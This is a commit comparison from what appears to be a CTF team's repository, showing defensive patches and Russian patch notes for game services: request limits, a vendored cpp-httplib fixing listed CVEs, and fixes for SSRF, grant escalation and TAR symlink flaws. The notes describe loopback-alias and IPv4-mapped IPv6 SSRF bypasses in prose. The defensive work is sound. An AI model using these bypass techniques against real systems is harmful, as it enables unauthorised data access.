Compare commits
28
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ac759c5ba5 | ||
|
|
2870f3e635 | ||
|
|
0a4439444e | ||
|
|
206f16cf05 | ||
|
|
fd4f3c8797 | ||
|
|
a8ab0e7f58 | ||
|
|
e562daacc5 | ||
|
|
74baf0bcc6 | ||
|
|
9c06a36a4b | ||
|
|
5d2407b076 | ||
|
|
29c864990a | ||
|
|
e112480339 | ||
|
|
f09895d65e | ||
|
|
98ad0ae2de | ||
|
|
e06fd3d9ed | ||
|
|
36c5a18577 | ||
|
|
b72544209c | ||
|
|
ecd6d55523 | ||
|
|
ef120ca5a5 | ||
|
|
7e96966188 | ||
|
|
dca8f2a827 | ||
|
|
5d0f36c7f4 | ||
|
|
9f25b29140 | ||
|
|
c2fc0cb8cf | ||
|
|
caf4a2430c | ||
|
|
2f5892d323 | ||
|
|
143182a27c | ||
|
|
76b5e01dac |
No files matched your search
+79
-16
@@ -21,8 +21,10 @@ PUBLIC_TOKEN = "visitor"
|
|||||||
CONSOLE_SOCKET = DATA / "console.sock"
|
CONSOLE_SOCKET = DATA / "console.sock"
|
||||||
CONSOLE_SESSIONS = {}
|
CONSOLE_SESSIONS = {}
|
||||||
CONSOLE_LOCK = threading.Lock()
|
CONSOLE_LOCK = threading.Lock()
|
||||||
CONSOLE_IDLE_SECONDS = 300
|
CONSOLE_IDLE_SECONDS = 30
|
||||||
CONSOLE_LIMIT = 64
|
CONSOLE_LIMIT = 64
|
||||||
|
HTTP_WORKERS = 48
|
||||||
|
HTTP_SOCKET_TIMEOUT = 5
|
||||||
|
|
||||||
|
|
||||||
class ConsoleSession:
|
class ConsoleSession:
|
||||||
@@ -78,23 +80,29 @@ def prune_consoles():
|
|||||||
|
|
||||||
|
|
||||||
def connection():
|
def connection():
|
||||||
db = sqlite3.connect(DB, timeout=10)
|
db = sqlite3.connect(DB, timeout=3)
|
||||||
db.row_factory = sqlite3.Row
|
db.row_factory = sqlite3.Row
|
||||||
db.execute("PRAGMA journal_mode=WAL")
|
|
||||||
db.execute("""CREATE TABLE IF NOT EXISTS plots (
|
|
||||||
id TEXT PRIMARY KEY, token TEXT NOT NULL, name TEXT NOT NULL,
|
|
||||||
cultivar TEXT NOT NULL, note TEXT NOT NULL, archive TEXT NOT NULL,
|
|
||||||
created INTEGER DEFAULT (unixepoch()))""")
|
|
||||||
db.execute("""CREATE TABLE IF NOT EXISTS telemetry (
|
|
||||||
id INTEGER PRIMARY KEY, plot TEXT NOT NULL, kind TEXT NOT NULL,
|
|
||||||
value TEXT NOT NULL, created INTEGER DEFAULT (unixepoch()))""")
|
|
||||||
db.execute("INSERT OR IGNORE INTO plots(id,token,name,cultivar,note,archive) VALUES (?,?,?,?,?,?)",
|
|
||||||
(PUBLIC_ID, PUBLIC_TOKEN, "Публичный купол", "Helianthus orbitalis",
|
|
||||||
"Добро пожаловать на станцию ОРБИТА.КВАНТУМ", "Калибровка открытого контура"))
|
|
||||||
db.commit()
|
|
||||||
return db
|
return db
|
||||||
|
|
||||||
|
|
||||||
|
def initialize_database():
|
||||||
|
with connection() as db:
|
||||||
|
db.execute("PRAGMA journal_mode=WAL")
|
||||||
|
db.execute("PRAGMA synchronous=NORMAL")
|
||||||
|
db.execute("""CREATE TABLE IF NOT EXISTS plots (
|
||||||
|
id TEXT PRIMARY KEY, token TEXT NOT NULL, name TEXT NOT NULL,
|
||||||
|
cultivar TEXT NOT NULL, note TEXT NOT NULL, archive TEXT NOT NULL,
|
||||||
|
created INTEGER DEFAULT (unixepoch()))""")
|
||||||
|
db.execute("""CREATE TABLE IF NOT EXISTS telemetry (
|
||||||
|
id INTEGER PRIMARY KEY, plot TEXT NOT NULL, kind TEXT NOT NULL,
|
||||||
|
value TEXT NOT NULL, created INTEGER DEFAULT (unixepoch()))""")
|
||||||
|
db.execute("CREATE INDEX IF NOT EXISTS telemetry_plot_id_idx ON telemetry(plot,id DESC)")
|
||||||
|
db.execute("INSERT OR IGNORE INTO plots(id,token,name,cultivar,note,archive) VALUES (?,?,?,?,?,?)",
|
||||||
|
(PUBLIC_ID, PUBLIC_TOKEN, "Публичный купол", "Helianthus orbitalis",
|
||||||
|
"Добро пожаловать на станцию ОРБИТА.КВАНТУМ", "Калибровка открытого контура"))
|
||||||
|
db.commit()
|
||||||
|
|
||||||
|
|
||||||
def row_public(row):
|
def row_public(row):
|
||||||
return {"id": row["id"], "name": row["name"], "cultivar": row["cultivar"],
|
return {"id": row["id"], "name": row["name"], "cultivar": row["cultivar"],
|
||||||
"created": row["created"]}
|
"created": row["created"]}
|
||||||
@@ -115,6 +123,18 @@ class Handler(BaseHTTPRequestHandler):
|
|||||||
def log_message(self, fmt, *args):
|
def log_message(self, fmt, *args):
|
||||||
print("%s %s" % (self.address_string(), fmt % args), flush=True)
|
print("%s %s" % (self.address_string(), fmt % args), flush=True)
|
||||||
|
|
||||||
|
def log_request(self, code="-", size="-"):
|
||||||
|
try:
|
||||||
|
if int(code) >= 500:
|
||||||
|
super().log_request(code, size)
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
super().log_request(code, size)
|
||||||
|
|
||||||
|
def log_error(self, fmt, *args):
|
||||||
|
if fmt.startswith("Request timed out"):
|
||||||
|
return
|
||||||
|
super().log_error(fmt, *args)
|
||||||
|
|
||||||
def reply(self, code, payload):
|
def reply(self, code, payload):
|
||||||
body = json.dumps(payload, ensure_ascii=False, separators=(",", ":")).encode()
|
body = json.dumps(payload, ensure_ascii=False, separators=(",", ":")).encode()
|
||||||
self.send_response(code)
|
self.send_response(code)
|
||||||
@@ -291,6 +311,12 @@ class Handler(BaseHTTPRequestHandler):
|
|||||||
if not db.execute("SELECT 1 FROM plots WHERE id=?", (id_,)).fetchone():
|
if not db.execute("SELECT 1 FROM plots WHERE id=?", (id_,)).fetchone():
|
||||||
return self.reply(404, {"error": "unknown plot"})
|
return self.reply(404, {"error": "unknown plot"})
|
||||||
db.execute("INSERT INTO telemetry(plot,kind,value) VALUES (?,?,?)", (id_, kind, value))
|
db.execute("INSERT INTO telemetry(plot,kind,value) VALUES (?,?,?)", (id_, kind, value))
|
||||||
|
db.execute(
|
||||||
|
"""DELETE FROM telemetry WHERE plot=? AND id NOT IN (
|
||||||
|
SELECT id FROM telemetry WHERE plot=? ORDER BY id DESC LIMIT 256
|
||||||
|
)""",
|
||||||
|
(id_, id_),
|
||||||
|
)
|
||||||
db.commit()
|
db.commit()
|
||||||
return self.reply(201, {"ok": True})
|
return self.reply(201, {"ok": True})
|
||||||
return self.reply(404, {"error": "unknown endpoint"})
|
return self.reply(404, {"error": "unknown endpoint"})
|
||||||
@@ -298,6 +324,43 @@ class Handler(BaseHTTPRequestHandler):
|
|||||||
return self.reply(400, {"error": str(exc)})
|
return self.reply(400, {"error": str(exc)})
|
||||||
|
|
||||||
|
|
||||||
|
class BoundedThreadingHTTPServer(ThreadingHTTPServer):
|
||||||
|
daemon_threads = True
|
||||||
|
request_queue_size = 128
|
||||||
|
|
||||||
|
def __init__(self, server_address, handler):
|
||||||
|
self.worker_slots = threading.BoundedSemaphore(HTTP_WORKERS)
|
||||||
|
super().__init__(server_address, handler)
|
||||||
|
|
||||||
|
def get_request(self):
|
||||||
|
request, address = super().get_request()
|
||||||
|
request.settimeout(HTTP_SOCKET_TIMEOUT)
|
||||||
|
return request, address
|
||||||
|
|
||||||
|
def process_request(self, request, client_address):
|
||||||
|
if not self.worker_slots.acquire(blocking=False):
|
||||||
|
try:
|
||||||
|
request.sendall(
|
||||||
|
b"HTTP/1.0 503 Service Unavailable\r\n"
|
||||||
|
b"Connection: close\r\nContent-Length: 0\r\n\r\n"
|
||||||
|
)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
self.shutdown_request(request)
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
super().process_request(request, client_address)
|
||||||
|
except BaseException:
|
||||||
|
self.worker_slots.release()
|
||||||
|
raise
|
||||||
|
|
||||||
|
def process_request_thread(self, request, client_address):
|
||||||
|
try:
|
||||||
|
super().process_request_thread(request, client_address)
|
||||||
|
finally:
|
||||||
|
self.worker_slots.release()
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
connection().close()
|
initialize_database()
|
||||||
ThreadingHTTPServer(("0.0.0.0", int(os.environ.get("PORT", "8080"))), Handler).serve_forever()
|
BoundedThreadingHTTPServer(("0.0.0.0", int(os.environ.get("PORT", "8080"))), Handler).serve_forever()
|
||||||
@@ -11,5 +11,11 @@ services:
|
|||||||
- greenhouse_data:/data
|
- greenhouse_data:/data
|
||||||
pids_limit: 256
|
pids_limit: 256
|
||||||
mem_limit: 512m
|
mem_limit: 512m
|
||||||
|
cpus: 1.0
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD", "python3", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:8080/api/status', timeout=2)"]
|
||||||
|
interval: 5s
|
||||||
|
timeout: 3s
|
||||||
|
retries: 5
|
||||||
volumes:
|
volumes:
|
||||||
greenhouse_data:
|
greenhouse_data:
|
||||||
@@ -34,3 +34,12 @@
|
|||||||
- Старые запросы к projection и spectrum без нужного ключа получают `403`.
|
- Старые запросы к projection и spectrum без нужного ключа получают `403`.
|
||||||
- Команды `STATUS`, `SOW`, `READ`, `OBSERVE`, `DUMP`, `VIEW`, `DROP`, `FILL` работают. После `DROP` и повторного занятия блока через `FILL` команда `VIEW` отвечает `ERR denied`.
|
- Команды `STATUS`, `SOW`, `READ`, `OBSERVE`, `DUMP`, `VIEW`, `DROP`, `FILL` работают. После `DROP` и повторного занятия блока через `FILL` команда `VIEW` отвечает `ERR denied`.
|
||||||
- Полный checker организаторов недоступен. Обычная повторная сборка исходного Dockerfile один раз остановилась на TLS timeout Docker Hub, поэтому итоговый runtime проверен офлайн поверх ранее собранного baseline-образа.
|
- Полный checker организаторов недоступен. Обычная повторная сборка исходного Dockerfile один раз остановилась на TLS timeout Docker Hub, поэтому итоговый runtime проверен офлайн поверх ранее собранного baseline-образа.
|
||||||
|
|
||||||
|
## Устойчивость под нагрузкой
|
||||||
|
|
||||||
|
- HTTP-сервер ограничен 48 одновременными обработчиками и закрывает медленные соединения через 5 секунд. При исчерпании пула новый запрос получает 503 вместо создания неограниченного числа потоков.
|
||||||
|
- Инициализация схемы SQLite и переключение WAL выполняются один раз при старте, а не на каждом API-запросе.
|
||||||
|
- Для чтения telemetry добавлен индекс. На один участок сохраняются последние 256 записей; API и раньше возвращал только последние 40.
|
||||||
|
- Брошенные сессии нативной консоли освобождаются через 30 секунд. Форматы запросов и ответов не изменены.
|
||||||
|
- Успешные запросы и ожидаемые socket timeout не пишутся в Docker-лог, чтобы поток запросов не заполнял диск. Ответы 5xx остаются в логе.
|
||||||
|
- Compose ограничивает сервис одним CPU и проверяет `/api/status` каждые 5 секунд. База и volume при обновлении не пересоздаются.
|
||||||
@@ -18,7 +18,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates
|
|||||||
&& cp -a /tmp/wasmtime-v${WASMTIME_VERSION}-${WASMTIME_ARCH}-linux-c-api/lib/libwasmtime.so* /out/lib/
|
&& cp -a /tmp/wasmtime-v${WASMTIME_VERSION}-${WASMTIME_ARCH}-linux-c-api/lib/libwasmtime.so* /out/lib/
|
||||||
|
|
||||||
FROM debian:bookworm-slim
|
FROM debian:bookworm-slim
|
||||||
RUN apt-get update && apt-get install -y --no-install-recommends cmake make g++ clang llvm lld libcpp-httplib-dev libsqlite3-dev nlohmann-json3-dev sqlite3 util-linux \
|
RUN apt-get update && apt-get install -y --no-install-recommends cmake make g++ clang llvm lld libsqlite3-dev nlohmann-json3-dev sqlite3 util-linux \
|
||||||
&& rm -rf /var/lib/apt/lists/*
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
COPY --from=wasmtime /out/include/ /usr/local/include/
|
COPY --from=wasmtime /out/include/ /usr/local/include/
|
||||||
COPY --from=wasmtime /out/lib/ /usr/local/lib/
|
COPY --from=wasmtime /out/lib/ /usr/local/lib/
|
||||||
|
|||||||
@@ -2,14 +2,14 @@
|
|||||||
|
|
||||||
Исходный сервис: `takuya/go-ctf`, `main`, commit `4f70df55dd822880f4759d553f7ed249166cad86`. Этот каталог содержит локально проверенный кандидат исправлений; push исходников **не является выкладкой** на игровую vulnbox.
|
Исходный сервис: `takuya/go-ctf`, `main`, commit `4f70df55dd822880f4759d553f7ed249166cad86`. Этот каталог содержит локально проверенный кандидат исправлений; push исходников **не является выкладкой** на игровую vulnbox.
|
||||||
|
|
||||||
- L-02: загрузка фильтра требует `X-Queue-Key`; браузер передаёт ключ.
|
- L-02: отправка исходника фильтра снова доступна без `X-Queue-Key`, как в исходном API: официальный CHECK вызывает её без заголовка и отвечавший `403` приводил к `DOWN`. Остальные проверки ключа сохранены. Публичная отправка фильтра остаётся риском нагрузки и вытеснения истории ревизий.
|
||||||
- L-03: чтение сообщений выдаёт страницы по 128 и помечает прочитанными только выданные записи.
|
- L-03: чтение сообщений выдаёт страницы по 128 и помечает прочитанными только выданные записи.
|
||||||
- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище.
|
- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище.
|
||||||
- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его.
|
- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его.
|
||||||
- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными.
|
- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными.
|
||||||
|
|
||||||
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Официальный checker и игровой том не проверены. Изменения контракта `POST /filter` и чтения более 128 сообщений требуют отдельной проверки CHECK/PUT/GET перед выкладкой.
|
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` прежнего образа; совместимость публичного вызова восстановлена в `143182a`, который входит в основу этого кандидата. Игровой том локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET.
|
||||||
|
|
||||||
**Известный риск DOWN:** Dockerfile устанавливает Debian bookworm `libcpp-httplib-dev` / `libcpp-httplib0.11` версии `0.11.4+ds-1+deb12u1`. [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2026-45352) отмечает эту версию уязвимой к CVE-2026-45352 (отказ в обслуживании при некорректном chunked-запросе); [описание разработчика](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h6wq-j5mv-f3q8) указывает исправление в 0.43.4. Кроме того, [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2025-53628) помечает ту же bookworm-сборку уязвимой к CVE-2025-53628: неограниченная длина строки HTTP-запроса может вызвать расход памяти и отказ в обслуживании до обработки запроса приложением. Лимит `set_payload_max_length(32768)` ограничивает тело, а не эту строку; более того, [CVE-2025-46728](https://security-tracker.debian.org/tracker/CVE-2025-46728) позволяет обойти и сам лимит тела через chunked-запрос в этой версии `cpp-httplib`. Данный кандидат эти риски не устраняет. Перед игровым переключением нужна отдельная проверенная замена зависимости и тесты совместимости; простой `apt upgrade` внутри bookworm не подтверждает исправление.
|
**HTTP-парсер:** Dockerfile больше не устанавливает Debian bookworm `libcpp-httplib-dev` / `libcpp-httplib0.11` версии `0.11.4+ds-1+deb12u1`. Lighthouse собирается со сверенным по SHA-256 заголовком upstream `cpp-httplib` 0.53.1 из `server/vendor/`. Эта версия включает исправления [CVE-2025-46728](https://security-tracker.debian.org/tracker/CVE-2025-46728), [CVE-2025-53628](https://security-tracker.debian.org/tracker/CVE-2025-53628), [CVE-2025-53629](https://security-tracker.debian.org/tracker/CVE-2025-53629) и [CVE-2026-45352](https://security-tracker.debian.org/tracker/CVE-2026-45352). `set_payload_max_length(32768)` сохранён. Локальная сборка и smoke на одноразовых томах пройдены после переноса данных из прежнего образа; это не доказывает исправность игрового checker или текущую версию на vulnbox до её отдельной выкладки.
|
||||||
|
|
||||||
В этом же приватном репозитории находится `sploits/lighthouse/`. Полный clone/pull на vulnbox принесёт и атакующий код. При подготовке выкладки переносите только нужный каталог сервиса; не монтируйте `sploits/` в контейнер и не помещайте его в web root. Для отката сохраняйте тома данных: не используйте `compose down -v`.
|
В этом же приватном репозитории находится `sploits/lighthouse/`. Полный clone/pull на vulnbox принесёт и атакующий код. При подготовке выкладки переносите только нужный каталог сервиса; не монтируйте `sploits/` в контейнер и не помещайте его в web root. Для отката сохраняйте тома данных: не используйте `compose down -v`.
|
||||||
@@ -4,9 +4,8 @@ set(CMAKE_CXX_STANDARD 20)
|
|||||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||||
set(CMAKE_CXX_EXTENSIONS OFF)
|
set(CMAKE_CXX_EXTENSIONS OFF)
|
||||||
add_executable(lighthouse main.cpp)
|
add_executable(lighthouse main.cpp)
|
||||||
|
target_include_directories(lighthouse PRIVATE vendor)
|
||||||
find_package(SQLite3 REQUIRED)
|
find_package(SQLite3 REQUIRED)
|
||||||
target_link_libraries(lighthouse PRIVATE SQLite::SQLite3 pthread)
|
target_link_libraries(lighthouse PRIVATE SQLite::SQLite3 pthread)
|
||||||
find_library(HTTPLIB_LIBRARY NAMES cpp-httplib cpp-httplib.so.0.11 cpp-httplib.so.0.14 REQUIRED)
|
|
||||||
target_link_libraries(lighthouse PRIVATE ${HTTPLIB_LIBRARY})
|
|
||||||
find_library(WASMTIME_LIBRARY NAMES wasmtime REQUIRED)
|
find_library(WASMTIME_LIBRARY NAMES wasmtime REQUIRED)
|
||||||
target_link_libraries(lighthouse PRIVATE ${WASMTIME_LIBRARY})
|
target_link_libraries(lighthouse PRIVATE ${WASMTIME_LIBRARY})
|
||||||
@@ -170,7 +170,6 @@ static void filter_routes(httplib::Server& server) {
|
|||||||
{
|
{
|
||||||
std::lock_guard guard(db_lock);
|
std::lock_guard guard(db_lock);
|
||||||
require_queue(id);
|
require_queue(id);
|
||||||
require_key(request);
|
|
||||||
}
|
}
|
||||||
auto artifact = filters::compile(source);
|
auto artifact = filters::compile(source);
|
||||||
auto state = artifact.ready ? "ready" : "rejected";
|
auto state = artifact.ready ? "ready" : "rejected";
|
||||||
@@ -179,7 +178,6 @@ static void filter_routes(httplib::Server& server) {
|
|||||||
std::lock_guard guard(db_lock);
|
std::lock_guard guard(db_lock);
|
||||||
Transaction transaction(db);
|
Transaction transaction(db);
|
||||||
require_queue(id);
|
require_queue(id);
|
||||||
require_key(request);
|
|
||||||
Statement insert(db, R"SQL(
|
Statement insert(db, R"SQL(
|
||||||
INSERT INTO filter_revisions(queue_id,label,state,wasm_path,compiler_output,source,listing,created_at)
|
INSERT INTO filter_revisions(queue_id,label,state,wasm_path,compiler_output,source,listing,created_at)
|
||||||
VALUES(?,?,?,?,?,?,?,?)
|
VALUES(?,?,?,?,?,?,?,?)
|
||||||
|
|||||||
+21
@@ -0,0 +1,21 @@
|
|||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) 2017 yhirose
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
Vendored
+11
@@ -0,0 +1,11 @@
|
|||||||
|
# cpp-httplib
|
||||||
|
|
||||||
|
`httplib.h` is the unmodified header from upstream tag
|
||||||
|
[`v0.53.1`](https://github.com/yhirose/cpp-httplib/releases/tag/v0.53.1).
|
||||||
|
SHA-256: `bc69d53636a8757cb24a1deb9880bf7e2fdae3a80bbc759e145b8c80913cbfa3`.
|
||||||
|
|
||||||
|
The upstream license is included as `CPP-HTTPLIB-LICENSE`. This header replaces
|
||||||
|
Debian bookworm's `libcpp-httplib-dev` (0.11.4) for the Lighthouse binary.
|
||||||
|
The pinned version contains the fixes for CVE-2025-46728,
|
||||||
|
CVE-2025-53628, CVE-2025-53629, and CVE-2026-45352, as well as the
|
||||||
|
subsequent upstream header parsing and regex routing security fixes.
|
||||||
Vendored
+21842
File diff suppressed because it is too large.
Load diff
@@ -127,11 +127,10 @@ def main():
|
|||||||
api("POST", path + "/messages", {"message": "bmV3IHN5bnRoZXRpYyBtZXNzYWdl"}, expected=201)
|
api("POST", path + "/messages", {"message": "bmV3IHN5bnRoZXRpYyBtZXNzYWdl"}, expected=201)
|
||||||
check(len(api("GET", path + "/messages", key=queue["read_key"])["messages"]) == 1,
|
check(len(api("GET", path + "/messages", key=queue["read_key"])["messages"]) == 1,
|
||||||
"old active filter rejected a normal new message")
|
"old active filter rejected a normal new message")
|
||||||
api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"}, expected=403)
|
public_compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"})
|
||||||
|
check(public_compiled["ok"] is True, "public filter compilation contract changed")
|
||||||
api("POST", "/api/queues/00000000-0000-0000-0000-000000000000/filter",
|
api("POST", "/api/queues/00000000-0000-0000-0000-000000000000/filter",
|
||||||
{"source": SOURCE, "label": "missing queue"}, expected=404)
|
{"source": SOURCE, "label": "missing queue"}, expected=404)
|
||||||
api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"},
|
|
||||||
key="0" * 48, expected=403)
|
|
||||||
compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"},
|
compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"},
|
||||||
key=queue["read_key"])
|
key=queue["read_key"])
|
||||||
check(compiled["ok"] is True, "compilation contract changed after restart")
|
check(compiled["ok"] is True, "compilation contract changed after restart")
|
||||||
|
|||||||
@@ -10,7 +10,7 @@
|
|||||||
- `edit_profile` позволял владельцу профиля заменить `ship_id` на чужой корабль. Уже созданный экспортный job сохранял ссылку на профиль, а `run_export` не перепроверял владение текущим кораблём, поэтому после подмены профиля возвращал чужие сообщения.
|
- `edit_profile` позволял владельцу профиля заменить `ship_id` на чужой корабль. Уже созданный экспортный job сохранял ссылку на профиль, а `run_export` не перепроверял владение текущим кораблём, поэтому после подмены профиля возвращал чужие сообщения.
|
||||||
- Ключ `geometry_cache` состоял только из `geometry`, `map_version` и `options`. Если другой пользователь первым создавал полёт с той же публичной тройкой параметров, отчёт по полёту мог взять его cached flight и раскрыть чужой manifest.
|
- Ключ `geometry_cache` состоял только из `geometry`, `map_version` и `options`. Если другой пользователь первым создавал полёт с той же публичной тройкой параметров, отчёт по полёту мог взять его cached flight и раскрыть чужой manifest.
|
||||||
- `delegate` разрешал дочернему grant запрашивать права, отсутствующие у родительского grant, и не проверял фактическое истечение срока. Публичный grant с `delegate` можно было повысить до `manifest.read`; `read_manifest` также принимал просроченный grant.
|
- `delegate` разрешал дочернему grant запрашивать права, отсутствующие у родительского grant, и не проверял фактическое истечение срока. Публичный grant с `delegate` можно было повысить до `manifest.read`; `read_manifest` также принимал просроченный grant.
|
||||||
- Внутренний маршрут `/internal/summaries/{id}` защищался только статическим importer key, который сам сервис добавлял при `import_bulletin`. Проверка URL отбрасывала лишь строковые `localhost`/`127.0.0.1`; loopback-алиас `127.1` разрешал SSRF и чтение чужой summary. Прямой запрос с известным ключом также не ограничивался loopback peer.
|
- Внутренний маршрут `/internal/summaries/{id}` защищался только статическим importer key, который сам сервис добавлял при `import_bulletin`. Проверка URL отбрасывала лишь строковые `localhost`/`127.0.0.1`; loopback-алиас `127.1` разрешал SSRF и чтение чужой summary. После первого исправления оставался обход через IPv4-mapped IPv6: разрешённый резолвером `::ffff:127.0.0.1` не считался IPv6 loopback, но подключался к IPv4 loopback. Прямой запрос с известным ключом также не ограничивался loopback peer.
|
||||||
- После `approve_package` содержимое пакета можно было заменить через повторный `PUT`, не сбрасывая approval. `generate_report` распаковывал уже заменённый TAR без повторной безопасной проверки и разрешал canonical target внутри общего `navigation`, поэтому symlink-entry мог прочитать файл навигации другого пользователя.
|
- После `approve_package` содержимое пакета можно было заменить через повторный `PUT`, не сбрасывая approval. `generate_report` распаковывал уже заменённый TAR без повторной безопасной проверки и разрешал canonical target внутри общего `navigation`, поэтому symlink-entry мог прочитать файл навигации другого пользователя.
|
||||||
|
|
||||||
Ожидаемые источники флагов до исправления: сообщения корабля, manifest полёта, content summary и файлы `navigation/{flight_id}.txt`. Для воспроизведения нужны только публичные маршруты сервиса, обычные учётные записи и идентификаторы объектов; реальные флаги, игровые токены и чужие адреса здесь не используются.
|
Ожидаемые источники флагов до исправления: сообщения корабля, manifest полёта, content summary и файлы `navigation/{flight_id}.txt`. Для воспроизведения нужны только публичные маршруты сервиса, обычные учётные записи и идентификаторы объектов; реальные флаги, игровые токены и чужие адреса здесь не используются.
|
||||||
@@ -21,10 +21,10 @@
|
|||||||
|
|
||||||
## Исправление
|
## Исправление
|
||||||
|
|
||||||
- Проверка владельца добавлена при привязке источника, смене корабля профиля и выполнении export job.
|
- Проверка владельца добавлена при привязке и чтении источника, смене корабля профиля и выполнении export job. При загрузке состояния удаляются cross-owner source aliases, а результаты export jobs с нарушенной цепочкой владения очищаются.
|
||||||
- В cache key добавлен владелец; при загрузке состояния кэш безопасно перестраивается для существующих полётов.
|
- В cache key добавлен владелец; при загрузке состояния кэш безопасно перестраивается для существующих полётов.
|
||||||
- Делегируемые права теперь обязаны быть подмножеством родительских; оба срока должны быть действующими, а дочерний срок не может превышать родительский. `read_manifest` проверяет expiry.
|
- Делегируемые права теперь обязаны быть подмножеством родительских; оба срока должны быть действующими, а дочерний срок не может превышать родительский. `read_manifest` проверяет expiry. При загрузке удаляются просроченные и legacy grants с правами, которые нельзя получить через штатный `grant_geometry`.
|
||||||
- Internal summary требует одновременно loopback peer и importer key. `fetch_bulletin` запрещает любой адрес, который после DNS-разрешения является loopback, включая каждый redirect.
|
- Internal summary требует одновременно loopback peer и importer key. `fetch_bulletin` канонизирует IPv4-mapped IPv6 после DNS-разрешения и запрещает loopback или unspecified адрес перед каждым соединением, включая redirects.
|
||||||
- Любая повторная загрузка package сбрасывает approval. Перед распаковкой пакет снова проходит `validate_safe_tar`, а attachment обязан оставаться внутри индивидуального work-каталога.
|
- Любая повторная загрузка package сбрасывает approval. Перед распаковкой пакет снова проходит `validate_safe_tar`, а attachment обязан оставаться внутри индивидуального work-каталога.
|
||||||
|
|
||||||
## Проверки
|
## Проверки
|
||||||
@@ -32,6 +32,9 @@
|
|||||||
- Docker image успешно собран командой `docker compose -f compose.yml build`.
|
- Docker image успешно собран командой `docker compose -f compose.yml build`.
|
||||||
- На исходной версии все шесть классов проблем воспроизведены с синтетическими данными; second-order export дополнительно проверен отдельной последовательностью HTTP-запросов и после перезапуска контейнера.
|
- На исходной версии все шесть классов проблем воспроизведены с синтетическими данными; second-order export дополнительно проверен отдельной последовательностью HTTP-запросов и после перезапуска контейнера.
|
||||||
- На исправленной версии прошли 12 runtime-сценариев: штатные source/export/summary/package flows, запрет cross-user source/profile/cache, запрет повышения/просрочки grant, разрешённое subset-delegation, блокировка прямого internal endpoint и loopback-alias SSRF, блокировка замены одобренного TAR.
|
- На исправленной версии прошли 12 runtime-сценариев: штатные source/export/summary/package flows, запрет cross-user source/profile/cache, запрет повышения/просрочки grant, разрешённое subset-delegation, блокировка прямого internal endpoint и loopback-alias SSRF, блокировка замены одобренного TAR.
|
||||||
|
- Дополнительная baseline-vs-patch проверка настоящих бинарников воспроизвела на `f09895d` SSRF через `0.0.0.0`, чтение через сохранённый cross-owner alias, legacy `manifest.read` grant и poisoned export result. Исправленная версия блокирует все четыре пути, сохраняя owner reads, легитимный alias, subset-delegation и корректный завершённый export job.
|
||||||
|
- Отдельная synthetic runtime-проверка воспроизвела обход через IPv4-mapped IPv6 на `5d2407b`. После канонизации блокируются dotted/hex mapped loopback и mapped unspecified, включая переход через разрешённый redirect; обычный import с non-loopback HTTP endpoint сохраняет исходное содержимое.
|
||||||
|
- `cargo check --locked` и `cargo test --locked` проходят; проект не содержит встроенных unit-тестов.
|
||||||
- `git diff --check` проходит.
|
- `git diff --check` проходит.
|
||||||
|
|
||||||
Ограничения: исходный проект не содержит автоматических тестов или checker; официальный Skipper/checker и сохранность реальных данных на vulnbox не проверялись. Патч не развёртывался и не отправлялся в Gitea.
|
